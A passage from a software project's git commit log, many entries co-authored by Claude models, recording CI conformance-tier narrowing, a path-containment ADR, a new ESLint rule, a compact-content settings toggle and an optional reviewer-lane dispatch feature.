  for any emitted file that grows, keyed on the bare filename. Added below.

The growth is two additions and no rewrites: the [gsd:dispatch ...] marker line
inside the Agent() prompt's <objective>, and the note telling the orchestrator
to substitute {plan_id} with the plan's id verbatim. Both are load-bearing --
the marker is what lets a guard hook match a dispatch to the sentinel the
per-plan gate wrote, and without the note the orchestrator has no instruction
telling it the value must not be paraphrased.

Emitted-Drift-Ack-Growth: execute-phase.md — adds the canonical [gsd:dispatch] identity marker and its {plan_id} substitution note, which the isolation guards compare verbatim against the run-scoped sentinel (#4594)
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4594): set changeset fragment pr to 4693

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-13 15:36:08 -04:00
Rezolv
7bcfbe4542 docs(#4629): add ADR-4629 — STATE.md write intent beyond frontmatter (#4645) 2026-09-12 11:43:16 -04:00
Tom Boucher
8fa2c3dbcf docs(#4650): record the path-containment and filename-classification design lock (#4655)
Phase 0 of epic #4636. ADR-4650 fixes the decisions Phases 1-4 inherit, so that
four phases do not each invent them independently.

The load-bearing decision is that the engine and the exported shape are
separable. A resolver-based, symlink-safe containment predicate already exists
as validatePath, and building the epic's literal assertWithinRoot() from scratch
would create a sixth implementation of the very thing this epic consolidates --
while risking silent loss of behavior validatePath acquired as bug fixes (a
closed dangling-symlink existence oracle, ancestor canonicalization for
non-canonical roots, a separator-aware boundary test).

But the epic's other clause is correct and lands on the current export:
validatePath returns a boolean a caller can forget to check, and populates
`resolved` with the escaping path precisely on the traversal branch. While that
form stays exported, the Phase-4 ratchet could only assert that a helper was
called -- validatePath(x, root).resolved would pass the rule.

So: preserve the engine, narrow the export. assertWithinRoot becomes the only
export and yields a branded ContainedPath.

Also recorded, each found by measurement rather than from the epic text:

- The rejection message text is a real contract. tests/quick-batch.test.cjs
  asserts a user-facing `reason` field matches /escapes allowed directory/, so
  the string reaches CLI consumers and Phase 3 must preserve it verbatim.
- Two further unconfined boundaries the epic does not enumerate: resolvePath
  and gap-analysis.plan-post, both in check-command-router.cts.
- --phase-dir also interpolates into ${PHASE_DIR} for command-exit-zero, so
  confining at the boundary covers both predicate kinds; the evaluator stays
  fs-free.
- opts.allowAbsolute is a per-call-site liberality knob, which is an acceptance
  policy living exactly where this ADR says it must not.
- planning-inspect's isWithinRoot is deliberately pure-string with no I/O; its
  contract differs, so Phase 3 decides rather than assumes.

The acceptance policy is stated once: conservative about the resource, exact
about the classification. #4580's guard was not too strict, it was wrong -- a
category error comparing a whole suffix against a set of final extensions.

ADR opens as Proposed; ratified at Phase 4 closeout per docs/adr/README.md.
No changeset: the diff touches docs/adr/ only, which is outside
USER_FACING_PREFIXES in scripts/changeset/lint.cjs.

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-11 23:45:04 -04:00
Tom Boucher
4d65c248e5 fix(#4641): make test-conformance the sole Windows selector and narrow the tier to 28.5% (#4643)
* test(#4641): failing-first tests for the tier ceiling and a single Windows selector

Tests only, committed ahead of the implementation so the RED run is real.

- tests/platform-conformance-tier.test.cjs: tier-size ceiling asserted as a
  ratio against a live denominator (Windows 33%, macOS 25%); per-helper negative
  cases proving seam calls and path-call-plus-slash-literal are not platform
  signals; positive pins that genuine platform content, seam-bypassing spawns,
  chmod and symlink still classify in; macOS signal set and generated list
  unchanged.
- tests/ci-full-lane-sharding.test.cjs: the test job has zero windows-latest
  rows and test-conformance still has 3 windows + 1 macOS.
- tests/ci-test-scope.test.cjs: windows_tests is absent rather than empty, a
  non-tier test file no longer forces full_matrix, a RULE-pulled windows-hint
  test does, and resolveSelection rejects the retired windows scope.

Refs #4589, #4591, #4592, #4593, #4603

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4641): delete the second Windows selector and narrow the conformance tier

Epic #4589's goal — the OS-agnostic bulk on Linux, a small explicitly-scoped
conformance tier on real Windows/macOS — was not met. Measured on PR #4640
(run 34618834118): 7 non-Linux jobs, a 546/930 (58.7%) "tier", and 5 of 7
changed test files running on a real Windows runner twice.

Two selectors, only one in the epic's scope. The test job's three scope:windows
shards predate the epic (#494, sharded #3057) and gate on product_changed, not
full_matrix, so they fire on every product PR whatever Phase 3's classifier
decides. They are deleted; test-conformance becomes the sole Windows selector,
as it already was for macOS. Non-Linux jobs 7 -> 4.

Gating the lane instead was rejected as provably redundant: for a test file
reachesConformanceTierOrSeam is literally CONFORMANCE_TIER_FILES.includes(file),
and that same predicate sets full_matrix, which turns test-conformance on. Every
file a gated lane would run is already covered in the same run. The lane's one
non-redundant residue -- RULE-pulled tests matched by the isWindowsHint filename
heuristic -- is ported into reachesConformanceTierOrSeam so it sets full_matrix
instead of feeding a parallel lane.

Two detectors matched the repo's own test idiom rather than any platform signal
and carried 226 of the tier's sole-signal membership against 41 for the other
eight: process-seam-subprocess (335 files, 118 unique) matches the
tests/helpers.cjs entry points nearly every CLI test uses, and going through the
seam is the opposite of a platform signal since shell-command-projection takes
platform as an injected parameter; hardcoded-path-vs-path-call (328, 108) needs
only a path call anywhere plus a slash literal anywhere, and that class is
already enforced by ADR-1703's Linux-runnable ESLint rules. Both are removed.
Tier 546 -> 254 (27.3%). src/ reachability is unchanged at 28 files, measured.

Adds the size gate Phase 2 never had, as a ratio against a live denominator so
it cannot stop binding as the suite grows.

292 files leave real-OS Windows execution. The drop-out set was audited: 14 have
a platform-suggestive filename and all 14 are static source-text analyses or
seam-mediated CLI tests. raw-child-process was investigated as a suspected false
negative and left unchanged -- relaxing it adds 13 files, all false positives.

macOS is untouched: MACOS_CATEGORIES is a separate array and the regenerated
macos-conformance-tier.generated.cjs is byte-identical at 196 files.

Fixes #4641
Refs #4589, #4591, #4592, #4593, #4603

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4641): register the new ADR path in the docs-guard exempt baseline

tests/ci-test-scope.test.cjs references docs/adr/4641-windows-selector-consolidation.md
in a comment justifying the retired windows scope; lint-docs-guard-registration
tracks that reference set, so the baseline needs the new path. Verified the
exemption still holds: the path is prose, not a filesystem read.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4641): make the escalation tier-backed and drop every hardcoded count

Three follow-ups from measuring the first pass rather than trusting it.

The windows-hint escalation now requires tier membership as well as the
filename hint. Setting full_matrix runs test-conformance, which runs only the
tier; escalating on a test that is NOT in the tier costs four jobs and still
never runs that test on Windows. Measured over the 16 RULES entries the
narrowed predicate fires on exactly the same rules today, so this is
correct-by-construction rather than a behavior change. The broader variant --
escalate on any tier member a rule pulls in, ignoring the hint -- was measured
at 14/16 rules and rejected as over-broad.

Removes the hardcoded counts. A hardcoded macOS tier length of 196 broke as
soon as the rebase pulled in one new test file from #4253, which is the whole
argument against them: the ceilings are ratios against a live denominator, the
committed lists are pinned by comparison against a fresh classification of the
live tree, and the three named probe files now assert on their SIGNAL rather
than on membership in a literal list -- asserting by filename is the exact
error this PR fixes in the classifier.

Regenerates both lists against the rebased tree. Same-tree figures are now
547 -> 255 of 931 eligible (58.8% -> 27.4%), 292 entries removed and none
added; macOS is unchanged at 197 with a zero-line diff.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4641): restore real-shell-spawn coverage and repair assertions the narrowing broke

An isolated adversarial review found a real false negative. Removing the
blanket process-seam-subprocess detector also removed the only coverage for
tests that spawn a REAL shell: tests/helpers/process-seam.cjs's runHook
spawns options.interpreter via real spawnSync, so
runHook('-c', [script], { interpreter: 'bash' }) runs a real bash binary
executing a shell script extracted from workflow markdown. The seam argument
holds for src/shell-command-projection.cts, which takes platform as an
injected parameter; it does NOT hold for the test helpers, which spawn real
binaries. Conflating the two is what made the blanket detector look purely
noisy -- it was 99% noise wrapping a real signal.

Adds a narrow shell-interpreter-spawn category keyed on a real interpreter
option. Measured 2026-09-11: 33 files match, 9 were outside the tier and are
added back, taking it 255 -> 264 of 931 (27.4% -> 28.4%), still under the 33%
ceiling. All 9 confirmed by reading the matching source line, zero comment or
fixture matches. runGit-alone and non-node-spawnSeam alternatives were measured
and rejected -- each adds 9 files but misses the counterexample entirely.

Fixes a real bug the suite caught: jobs.test is ubuntu-only now that its
scope:windows rows are gone, so it must wire GSD_STRICT_LIVE_CONFIG_GUARD
strictly rather than carrying the Windows report-only carve-out. The carve-out
now lives solely on test-conformance, whose matrix does include windows.

Repairs seven pre-existing assertions the category removal invalidated,
preserving each case's purpose rather than deleting coverage, and converts the
last hardcoded tier bounds to live-derived ratios -- including the macOS
sanity range that was still a magic [100, 350].

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4641): keep the confinement test on a real OS via a documented allowlist

A security review found tests/external-descriptor-confinement.test.cjs had
dropped out of the Windows tier. It must stay in, and no content signal can
express why: it exercises isPathConfined (src/external-descriptor-trust.cts),
which uses the AMBIENT path module -- path.resolve(root, target) and path.sep
-- with no injection. Its win32 semantics (drive letters, UNC, separator) are
only reachable by actually running on Windows, and it is a security-relevant
write-confinement gate. A content classifier cannot see 'this module reads the
ambient path module', so no regex belongs here.

Adds ALWAYS_REAL_OS, a Map of path -> recorded reason, unioned into the Windows
tier only. A Map rather than a list so an entry without a reason is impossible
by construction, and tests assert every entry names a file that exists on disk
so a stale entry fails loudly instead of rotting. This is the centrally-
enumerated single source of truth epic #4589 Phase 2 asked for and ADR-1703's
portability-vocab.cjs already models -- deliberately not a heuristic.

Windows tier 264 -> 265 of 931 (28.5%), still under the 33% ceiling. macOS is
untouched and byte-identical: the win32 concern does not apply to a POSIX
runner, and a test asserts the allowlist does not leak into that tier.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4641): inject the path impl into isPathConfined and correct the ADR count

Two review findings, both fixed rather than dispositioned.

A security review found tests/external-descriptor-confinement.test.cjs had left
real-OS execution. The allowlist pinned it back, but that only restored
INCIDENTAL coverage: isPathConfined used the ambient path module, and its test
carried POSIX-only literals, so a win32 confinement escape was unverified on
every platform including Windows. isPathConfined now takes an optional third
parameter carrying the path implementation, defaulting to the ambient module.
Blast radius is CRITICAL -- 53 affected symbols across 19 files -- so the change
is purely additive and every existing two-argument caller is byte-identical.

Tests now inject path.win32 and path.posix, covering a different drive letter,
a cross-drive absolute, backslash and forward-slash traversal, UNC, and the
startsWith prefix-boundary bug (.gsdEVIL against root .gsd) on both separators.
Proved load-bearing: dropping the + p.sep from the prefix check fails exactly
the two boundary cases and nothing else. Callers' suites 149/149.

The spec review caught an off-by-one: the ADR narrated a 264-file tier while the
committed list holds 265. The ADR now records the full chain 547 -> 255 -> 264
-> 265 (28.5%).

Also corrects a stale comment in scripts/docs-guard-registry.cjs that narrated
classify() as zeroing windows_tests, a key this change removes -- kept as
historical narration but labelled as such.

Refs #4641

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#131): make the unwritable-HOME test actually test something

Found by sweeping for the root-bypass class after fixing commit-files-deletion.
This one is the silent variant, and it was broken twice over.

First, the condition: the test made a fake HOME unwritable with chmod 0o500.
The gsd-test Docker bench runs as root, root bypasses mode bits, so HOME stayed
writable and the hostile condition never existed. Replaced with a HOME whose
PARENT is a regular file, so every write under it fails ENOTDIR at the VFS
layer for every uid -- no permission check is involved at all.

Second, and more fundamental: the probe was npm --version, which on npm 11.19.0
performs zero filesystem I/O against HOME. Proven rather than assumed --
neutralizing runNpm()'s isolation turned the sibling test red while this one
stayed green, so its assertion could never detect the regression it guards, on
any uid, with or without the condition fix. npm config get cache was tried next
and proved vacuous the same way (it only string-resolves the path). The probe is
now npm cache verify, which really does mkdir _cacache under HOME.

Re-proved load-bearing after the change: with isolation neutralized the test now
fails with ENOTDIR on <blocker>/home/.npm/_cacache. tests/helpers.cjs was
restored and verified diff-clean; suite 13/13.

Refs #4641

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): correct the net drop-out figure in ADR-4641

The Consequences section still said 292 files leave real-OS Windows execution.
That was the count before the narrow shell-interpreter-spawn replacement
restored 9 and ALWAYS_REAL_OS pinned 1. Net is 282. Also names both real-binary
categories rather than only raw-child-process, and clarifies that the 14-file
filename audit was against the 292 initially dropped.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): record the rejected concentration ceiling and its measurement

Applying Goodhart's own question to the new ceiling -- how would you make this
metric look good without improving what it represents -- surfaces a real
weakness: a ratio can be satisfied by inflating the denominator, so adding
OS-agnostic tests loosens it without narrowing the tier.

The obvious companion gate was a sole-signal concentration ceiling, since the
original defect was one detector carrying half the tier. Measured and rejected:
peak concentration post-fix is raw-child-process at 53/265 = 20.0%, against the
historic offenders at 21.6% and 19.8%. Any threshold above 20% misses the
original defect; any threshold below it fails on a legitimate category. The
discriminator is whether a signal is platform-meaningful, which no threshold
encodes. Weakness disclosed rather than covered by a gate that does not bind.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4641): add the changeset fragment for the confinement-check change

changeset-lint failed on PR #4643: the PR touches user-facing paths and carried
no fragment. The earlier no-changeset call matched #4604's CI-only precedent and
was correct then; it was not revisited once the PR grew a src/ change, which is
my miss.

The fragment describes the real user-visible improvement: the external-descriptor
write-confinement check's Windows semantics are now verified deterministically
rather than only when the suite happened to run on Windows.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): correct the tier count in TESTING-SUITES.md

Said the tier narrowed from 546 to 254. The final committed list is 265 of 931
eligible (58.8% -> 28.5%) after the shell-interpreter-spawn replacement restored
9 files and ALWAYS_REAL_OS pinned 1. Same error class the spec review caught in
the ADR, in a live reference page rather than a dated record, so it states the
current truth rather than carrying an amendment note.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): record the measured aggregate from real CI job lists

Epic #4589's closeout asserted its reduction from a static count; #4641's
acceptance criterion asks for a figure read off a real run. Recorded here:
test.yml job count 21 -> 15 and non-Linux 7 -> 4, comparing PR #4640's run
against this PR's own. Against the true pre-epic baseline of 9, that is 9 -> 4.

Also states the caveat that a PR's total CHECK count is not a clean before/after
comparison, since many gates are path-scoped and this change touches a broader
path set -- the like-for-like figure is the test.yml job count.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): compare job totals the same way on both sides

The measured-aggregate table put #4640's COMPLETED run total (21) against this
run's count at matrix-expansion time (15). Those are not the same measurement:
the completed total includes the post-test Coverage gate and baseline-publisher
jobs. Counted identically, it is 21 -> 17. The load-bearing figure, non-Linux
jobs 7 -> 4, was correct and is unchanged.

Called out in the table rather than silently corrected -- comparing two
differently-derived numbers is exactly the error class this ADR is about.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): record measured conformance wall-clock and date the stale counterfactual

Adds the per-job durations from both runs. The honest read is that this is a
correctness win more than a speed one: file count fell 52% but wall-clock only
9-29%, because what was removed were the cheap static tests and what remains is
concentrated in expensive spawn-heavy work. Stated explicitly so nobody expects
a future narrowing to buy time proportional to file count.

The load-bearing figure is windows shard 3/3: 40m24s against a 45-minute cap on
the 547-file tier -- 90% of the cliff #869 and #3057 were both filed about --
pulled back to 31m27s. macOS moved the wrong way (17m48s -> 21m02s) while its
tier was UNCHANGED at 197 files, which fixes that as runner variance and is
noted as a caution against reading a single duration as signal.

Also dates the symlink-keyword counterfactual, which cited a 254-file tier from
before the replacement category and allowlist took it to its final 265.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4641): re-measure against the rebased tree and disclose the allowlist's zero

next gained #4644 mid-flight, so every absolute count shifted. Re-measured on
the tree this actually ships against (932 eligible): 548 -> 257 by detector
removal, 257 -> 266 once shell-interpreter-spawn restores 9. Net 282 removed,
9 restored. macOS 198, unchanged by this PR.

The percentages did not move across three rebases (58.8% -> 28.5%), which is
the whole argument for expressing the ceilings as ratios rather than counts --
noted in the ADR since it is now evidence rather than assertion.

Also discloses that ALWAYS_REAL_OS now contributes ZERO files: this PR's own
win32 test cases introduced the literal win32 into the pinned file, so it
classifies in on content via win32-darwin-literal. The entry stays and the
reason is written down, because the file's real-OS need is a property of the
code under test (isPathConfined reads the ambient path module), not of the
test's text -- the text that currently saves it is incidental and could be
refactored away silently.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-11 17:00:11 -04:00
Tom Boucher
1e47560e34 feat(#4593): add a macOS-specific conformance tier, final phase of epic #4589 (#4607)
test-conformance's macos-latest leg (Phase 2, #4591) has been running the
same 546-file, Windows-oriented conformance-tier list as windows-latest --
built from signals like windows-shell-token/windows-env-var that have
nothing to do with macOS. Issue #4593 asked for macOS coverage sized to
its own evidence-backed surface (zsh dispatch, case-sensitivity, darwin-
specific behavior) instead.

Issue #4593 was filed before Phase 5 (#4603) existed and referenced
updating test-full's macOS legs -- that job is gone. Corrected the issue's
body before any code was touched: the "shrink from full replay" half of
the original ask was already done by Phase 5; what remained was narrowing
the still-Windows-oriented tier macOS was inheriting.

Two design assumptions were measured and rejected before accepting a
design (documented in docs/adr/4593-macos-conformance-tier-architecture.md):
- Reusing the general tier's signals minus its 3 Windows-specific
  categories barely narrows anything (546 -> 424, 78% retained) -- most
  files match multiple signals and only need one to survive exclusion.
- A standalone CRLF/autocrlf signal, despite the issue naming
  "CRLF-checkout behavior": even narrowed to /\bCRLF\b|autocrlf/i it hit
  143/930 files. Root cause: CRLF is primarily a Windows checkout concern
  in this codebase (ADR-1703 files it under DEFECT.WINDOWS-TEST-
  PORTABILITY), so the signal was really re-selecting Windows-relevant
  files already covered by the general tier, not narrowing macOS
  specifically.

Built 5 new, genuinely macOS-specific signals instead: darwin-literal
(darwin alone, not the general tier's win32-OR-darwin), zsh-dispatch,
case-sensitivity, plus chmod-mode-bit and symlink-keyword reused verbatim
from the general tier (genuinely Unix-relevant, not Windows-motivated).
Measured against the real tree: 196 of 930 eligible unit-suite files
(21%), versus the general tier's 546 (59%) -- a real, evidence-backed
narrowing.

scripts/gen-platform-conformance-tier.cjs gains classifyMacosContent/
classifyMacosTree/renderMacosGeneratedFile and a --target windows
(default, unchanged)/--target macos CLI flag, so the same generator
produces two independent, gated outputs rather than needing a second
script. New committed output: scripts/lib/macos-conformance-tier.
generated.cjs. .github/workflows/test.yml's test-conformance job: only
the macos-latest leg's file-list source changes; windows-latest is
byte-for-byte untouched. New shipped-file ripples handled proactively
(19 install-tree fixtures regenerated, bin/install.js registered).

An isolated code-review pass found one real defect: the ADR's per-
category count table had drifted by 1 (zsh-dispatch, case-sensitivity)
because the new test file's own fixture strings joined the tree it
classifies after the table was authored -- fixed, with the union total
(196, what CI actually gates on) confirmed unaffected. An isolated
security-review pass found no qualifying findings.

The ADR also records an explicit requirement for any future widening
proposal: check whether the motivating regression is already covered by
Phase 1's no-rendered-text-length-assert lint rule (#4590) before
re-proposing full macOS/Linux parity, since that is exactly what #4421's
root cause was (a rendered-text-length assertion, not a real behavioral
divergence).

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-10 14:37:15 -04:00
Tom Boucher
2cefa5a5ac enhance(#4139): Phase 8 — the toggle becomes discoverable, and the ledger closes (#4587)
* enhance(#4139): Phase 8 — the toggle becomes discoverable, and the ledger closes

ADR-4139's final phase. workflow.compact_content already defaulted to false
(Phase 1's buildNewProjectConfig hardcoded default), but nothing surfaced it:
/gsd-new-project never asked, and /gsd-settings/config had no toggle path for
an already-initialized project — config-set/config-get were the only route.

new-project.md gains a fourth question in the existing Round 2 AskUserQuestion
array (grouped with the other general-workflow-behavior toggles, not the
per-agent capability questions above it) and threads compact_content into the
config-new-project CLI JSON literal. settings.md mirrors the exact pattern
every other non-capability workflow.* key already follows: read_current bullet,
question block, update_config write, the safe-merge non-capability-keys list,
save_as_defaults, and the confirm summary table — seven edits, zero new
src/*.cts code, since Phase 1's merge logic is a generic passthrough. Its
success_criteria question-count ("24 settings") is bumped to 25 to match the
now-25-entry main AskUserQuestion batch.

settings-advanced.md deliberately does NOT get a duplicate question: no other
boolean toggle in this repo is asked in both settings.md and
settings-advanced.md, and there's no reason to start with this one.

docs/CONFIGURATION.md, docs/USER-GUIDE.md, and a new docs/features/4139-compact-
content.md fragment (regenerated into docs/FEATURES.md) document the toggle.

ADR-4139 itself: Status flips Proposed -> Accepted, the acceptance-criteria
section becomes a guard ledger — a 13-row table covering all 12 of #4139's
original checkboxes plus the shipped-content guard criterion, each with real
evidence (the merged PR that satisfied it, fetched via `gh issue view
--json closedByPullRequestsReferences` rather than asserted from phase
numbers) — and both "Open questions for the implementation phases" are
resolved rather than left dangling: discuss-phase was never converted to
spine+detail shape (verified: no detail/ subdir exists) — a genuine gap, not a
reasoned decline; the disjointness check is confirmed line-based by reading
compact-content-split.cjs's normalizeNonTrivialLines directly.

Orthogonal review (isolated Standards/Spec code-review + security-review
sub-agents) found and this fixes two real defects: the changeset fragment's
body didn't match CONTRIBUTING.md's single em-dash-sentence format (was
multi-sentence prose naming implementation file paths); and settings.md's own
success_criteria still said "24 settings" after the new question pushed the
main batch to 25. Also fixed, found by the Spec pass while confirming
commands/gsd/settings.md correctly needed no sync edit: that file and its
skills/gsd-settings/SKILL.md twin both still described "Interactive 5-question
prompt (model, research, plan_check, verifier, branching)", stale since long
before this phase (the batch has had far more than 5 questions for a while) —
replaced with a description that names the current set without hardcoding a
count that will drift again.

gsd-test (real run, sha 1da78fe2) caught a third real regression the local
sweep missed: new-project.md is a registered spine+detail split for Phase 4's
token-reduction benchmark (scripts/benchmark-compact-content.cjs), and the new
question's +167 tokens drifted the committed baseline
(tests/fixtures/compact-content-benchmark-baseline.json). The benchmark itself
is designed never to fail CI on drift, but the test asserting the COMMITTED
baseline is currently non-drifted correctly caught it. Regenerated via
`node scripts/benchmark-compact-content.cjs --write`; re-verified --check now
reports "up to date" and the test file passes 27/27.

Closes #4408.
Closes #4139.

Emitted-Drift-Ack-Growth: new-project.md — new 4th Round-2 AskUserQuestion entry (Compact Content, #4139) plus the config-new-project CLI JSON field and explanatory sentence; a new opt-in toggle needs new prose.
Emitted-Drift-Ack-Growth: settings.md — new workflow.compact_content read_current bullet, question block, update_config write, safe-merge key, save_as_defaults field, and confirm summary row (the same seven-edit pattern every other non-capability workflow.* toggle already follows), plus the 24->25 success_criteria count fix found in review.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#4408): backfill changeset PR number

pr:0 -> pr:4587 now that gh pr create has returned the real number.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-10 00:04:51 -04:00
Tom Boucher
9770258558 chore(#4590): add no-rendered-text-length-assert ESLint rule (#4595)
* test(#4590): add no-rendered-text-length-assert ESLint rule

Enforces ADR-456's typed-surface mandate for one specific bug shape: a test
assertion whose pass/fail depends on the length/substring content of a
template literal that interpolates an OS-derived path (os.tmpdir(),
os.homedir(), path.join/resolve/..., or a PATH_RETURNING_FNS resolver).
Because macOS's default tmpdir prefix is longer than Linux's, such an
assertion can pass on one runner and fail on another -- the defect class
behind #4421's incident (git show 4e75b836e9), already fixed there by
pinning to a typed field per ADR-456 Sec(c) before this rule existed to
catch a recurrence.

Two repo-wide sweeps against the real tests/ tree narrowed the rule to a
sound scope: an initial design that traced call arguments (to approximate
the historical incident's cross-file render-function shape) produced false
positives on ordinary fs.readFileSync(path.join(...)) + assert.match
patterns; a second design that matched any bare direct path-returning call
produced 45 false positives on path suffix/prefix/non-emptiness checks. The
shipped rule matches only a path-returning expression interpolated into a
template literal, directly or via one identifier hop -- disclosed in the
rule's own "Known boundaries" as not covering the literal cross-file
incident shape, which would require tracing into a callee's body.

Phase 1 of epic #4589 (CI test-matrix Linux-primary migration) -- Phase 2's
safety argument depends on this class of OS-dependent test assertion being
enforced going forward, not merely fixed once.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#4590): address code-review findings on no-rendered-text-length-assert

Reletter the "Known boundaries" doc-comment list (a)-(e), fixing a gap left
by an earlier edit pass and every stale cross-reference to it. Collapse
isDirectPathTaint/isTaintedInterpolation's duplicated TemplateLiteral-walk
into one recursive relationship (isTaintedInterpolation now delegates a
nested-template-literal case back to isDirectPathTaint instead of
re-implementing the .some() traversal) -- behavior unchanged, confirmed by
re-running the repo-wide sweep (still zero false positives).

Found by the Standards-axis /code-review pass on this PR.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-09 21:55:51 -04:00
Dennis Alexis Valin Dittrich
18c899def5 enhance(#4209): optional external source reviewer lanes for /gsd:code-review (#4323)
* test(01-01): define reviewer-support trait contract

Add failing coverage for step.supportsReviewerLanes (#4209 DISP-02):
validator rejects non-boolean values with an exact field path, accepts
missing/true/false, and the real code-review capability.json steps
must declare supportsReviewerLanes: true. Add loop-resolver projection
coverage proving the trait reaches activeHooks verbatim for a
provider-neutral synthetic step (not code-review-specific), and that
omitted/false values stay inert (no key on the active hook).

All 8 new assertions fail today: the validator has no such field, and
loop-resolver has nothing to project. RED before GREEN.

* feat(01-01): declare reviewer-capable steps

Add step.supportsReviewerLanes (#4209 DISP-02): a strict optional
boolean opt-in trait, step-scoped (not capability-wide). Only a
literal true validates and projects; false/omitted stay inert (no
key on the projected active hook), and every non-boolean type fails
capability-validator.cjs with an exact field-path error.

Opt both existing code-review steps (execute:post, execute:wave:post)
into the trait in capabilities/code-review/capability.json. Project
the validated field through src/loop-resolver.cts into activeHooks
so a provider-neutral generic interpreter can read it without any
code-review-specific knowledge. Document the field in
docs/reference/capability-manifest.md and regenerate
gsd-core/bin/lib/capability-registry.cjs via the generator (never
hand-edited).

Makes all 8 RED assertions from the prior commit pass.

* test(01-02): define shared reviewer dispatch

- Add tests/reviewer-step-dispatch.test.cjs covering dispatchReviewerLanes:
  inert when the supportsReviewerLanes trait is off or nothing is selected,
  exactly-once plan/invoke per selected lane, duplicate-alias dedup, the
  bounded metadata-only source-review prompt (repo root, paths+baseSha,
  depth, four fixed prohibitions), and capability-neutral reuse via a
  second synthetic step context.
- RED: module under test (src/reviewer-step-dispatch.cts) does not exist
  yet, so require() fails and every assertion is unreached.

* feat(01-02): dispatch reviewers for opted-in steps

- Add src/reviewer-step-dispatch.cts: dispatchReviewerLanes(input, deps),
  ONE interpreter for a step's supportsReviewerLanes trait. Reuses
  resolveReviewerSelection for selection and resolveLanePlan for planning
  (both already-existing, pure building blocks); invocation is the one
  required, caller-injected seam (deps.invoke) since runLane needs
  OS-aware spawn plumbing this module does not own.
- trait !== true, or a selection resolving to zero lanes, dispatches
  nothing (zero plan/invoke calls). Each selected lane is planned and
  invoked exactly once, in the selector's deduped/sorted order.
- buildSourceReviewPrompt assembles a metadata-only bounded prompt
  (repo root, canonical paths + base SHA, depth, four fixed
  prohibitions) — never file contents — written once per dispatch and
  shared across every invoked lane.
- GREEN: tests/reviewer-step-dispatch.test.cjs now passes.

* test(01-02): define reviewer dispatch failures

- Extend tests/reviewer-step-dispatch.test.cjs with the fail-closed
  matrix: an explicitly requested lane the selector could not resolve
  still lets the OTHER resolved lane run, but the aggregate result must
  never read as a clean success (and 'every explicit lane unavailable'
  must be distinguishable from the plain no-flags-passed inert case);
  request-level validation (path traversal, absolute paths outside
  repoRoot, empty/non-string paths, missing depth/base SHA) halts the
  whole dispatch before any lane is planned or invoked; a per-lane
  prompt-budget overflow hard-fails only that lane before invoke while
  its sibling still runs.
- RED: src/reviewer-step-dispatch.cts does not yet implement any of
  these guards, so 9 of the new assertions fail against the current
  (Task 1) implementation.

* fix(01-02): fail closed in reviewer dispatch

- src/reviewer-step-dispatch.cts: add the fail-closed guards the prior
  commit deliberately left out. An explicitly requested lane the
  selector could not resolve no longer lets the aggregate read as a
  clean success — lanes that DID resolve still run and keep their
  results (never narrow the requested set), but selection.errors now
  flips the aggregate ok to false, and 'every explicit lane
  unavailable' is now distinguishable (SELECTION_FAILED) from the
  plain no-flags-passed inert case (NO_LANES_SELECTED).
- Add request-level validation (validatePaths, depth/baseSha presence)
  that halts the WHOLE dispatch before any lane is planned or invoked:
  path traversal, absolute paths outside repoRoot, empty/non-string
  paths, and missing provenance are all rejected up front.
- Add per-lane prompt-budget enforcement (resolveBudget, mirroring
  gsd-tools.cjs's budgetFor convention including budget 0 = unbounded):
  a lane whose resolved budget the prompt exceeds hard-fails before
  invoke runs for it, without cancelling a sibling lane already
  planned.
- Document the supportsReviewerLanes trait and its dispatch-step
  interpreter in gsd-core/references/loop-hook-dispatch.md.
- GREEN: all 19 tests in tests/reviewer-step-dispatch.test.cjs pass;
  no regressions in the review-lane/reviewer-selection/prompt-budget
  suites (356 passing).

* test(01-03): define optional source reviewer flow

RED: assert code-review.md dispatches roster-derived reviewer-lane flags
through a single review-lane dispatch-step call (DISP-01..05), that the
no-flag path stays byte-for-behavior unchanged (COMP-01), and that
external evidence reaching the internal reviewer prompt is marked
unverified (CONS-02). Also covers the CLI contract directly: no-op with
no explicit selection, and fail-closed on an explicit unknown lane
(SAFE-07) via real gsd-tools.cjs subprocess calls.

* feat(01-03): route optional source reviewers

GREEN: code-review.md gains a dispatch_reviewer_lanes step that matches
canonical reviewer-lane flags against the merged first-party + installed
roster (never a hand-maintained list) and, only when at least one is
present, calls the shared reviewer-step interpreter exactly once with the
already-resolved repo root, file scope, depth, and base SHA. Its evidence
paths are appended to the internal reviewer prompt via
